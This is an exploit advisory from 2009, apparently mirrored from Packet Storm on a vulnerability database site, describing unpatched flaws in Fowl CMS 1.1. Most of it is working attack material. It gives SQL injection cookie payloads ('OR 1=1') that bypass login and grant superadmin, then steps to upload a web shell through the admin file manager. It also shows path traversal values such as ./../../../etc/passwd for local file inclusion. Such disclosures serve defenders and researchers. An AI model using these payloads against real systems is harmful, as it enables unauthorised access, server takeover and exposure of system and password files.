Lucene search
K

Fowl CMS 1.1 SQL Injection / LFI / Upload

🗓️ 23 Apr 2009 00:00:00Reported by YEnH4ckErType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 19 Views

Remote vulnerability in Fowl CMS 1.

Code
`-------------------------------------------------------  
MULTIPLE REMOTE VULNERABILITIES--FOWLCMS 1.1-->  
-------------------------------------------------------  
  
-----------------  
CMS INFORMATION:  
-----------------  
  
-->WEB: https://sourceforge.net/projects/fowlcms/  
-->DOWNLOAD: https://sourceforge.net/projects/fowlcms/  
-->DEMO: N/A  
-->CATEGORY: CMS / Portals  
-->DESCRIPTION: FOWL is not only a generic term for birds breeded as farm animals,  
but also a CMS (Content Management System)...Use for: Blog Private homepage.  
-->RELEASED: 2009-04-15  
  
-------------------  
CMS VULNERABILITY:  
-------------------  
  
-->TESTED ON: firefox 3  
-->DORK: N/A  
-->CATEGORY: AUTH-BYPASS(INSECURE-COOKIE|SQLi)/SHELL-UPLOAD/LFI  
-->AFFECT VERSION: 1.1  
-->Discovered Bug date: 2009-04-22  
-->Reported Bug date: 2009-04-22  
-->Fixed bug date: Not fixed  
-->Info patch: Not fixed  
-->Author: YEnH4ckEr  
-->mail: y3nh4ck3r[at]gmail[dot]com  
-->WEB/BLOG: N/A  
-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.  
-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)  
  
  
///////////////////////////////////////////////////////  
  
AUTHENTICATION BYPASS (INSECURE COOKIE HANDLING/SQLi):  
  
//////////////////////////////////////////////////////  
  
-----  
POC:  
-----  
  
Add cookies:  
  
User_ID= xXx' [SQL] /*  
PW=xXx  
  
Or...  
  
User_ID=xXx  
PW=xXx' [SQL] /*  
  
Both are injectable.  
  
---------  
EXPLOIT:  
---------  
  
User_ID= xXx' OR 1=1 /*  
PW=xXx  
  
OR...  
  
User_ID=xXx  
PW=xXx' OR 1=1 /*  
  
Superadmin account!  
  
**************************************************************************  
When we are superadmin, we can exploit other attacks...(follow reading).  
**************************************************************************  
  
////////////////////////////  
  
SHELL UPLOAD VULNERABILITY:  
  
///////////////////////////  
  
  
http://[HOST]/[HOME_PATH]/index.php?site=admin&action=files  
  
Here we upload our shell. (Use a reliable path, ex: test)  
  
Then, if you go to the link:  
  
http://[HOST]/[HOME_PATH]/[PATH-SHELL]/shell.php  
  
  
////////////////////////////  
  
LOCAL FILE INCLUSION (LFI):  
  
///////////////////////////  
  
-----  
PoC:  
-----  
  
Sites are stored in DB, but the administration panel allows to change sites (del/modify) (below link)  
  
http://[HOST]/[HOME_PATH]/index.php?site=admin&action=sites  
  
There, we change:  
  
./../../../../boot.ini --> column: Dateiname  
  
Something (signup for ex.) --> column: Alias  
  
Or...  
  
./../../../etc/passwd --> column: Dateiname  
  
Something (signup for ex.) --> column: Alias  
  
Then, we go to:  
  
http://[HOST]/[HOME_PATH]/index.php?site=[Alias]  
  
We can see the boot.ini or passwd files.  
  
---------  
EXPLOIT:  
---------  
  
changing the "signup" alias for the file that you want.  
  
http://[HOST]/[HOME_PATH]/index.php?site=signup  
  
Exploited!  
  
  
That's all!  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation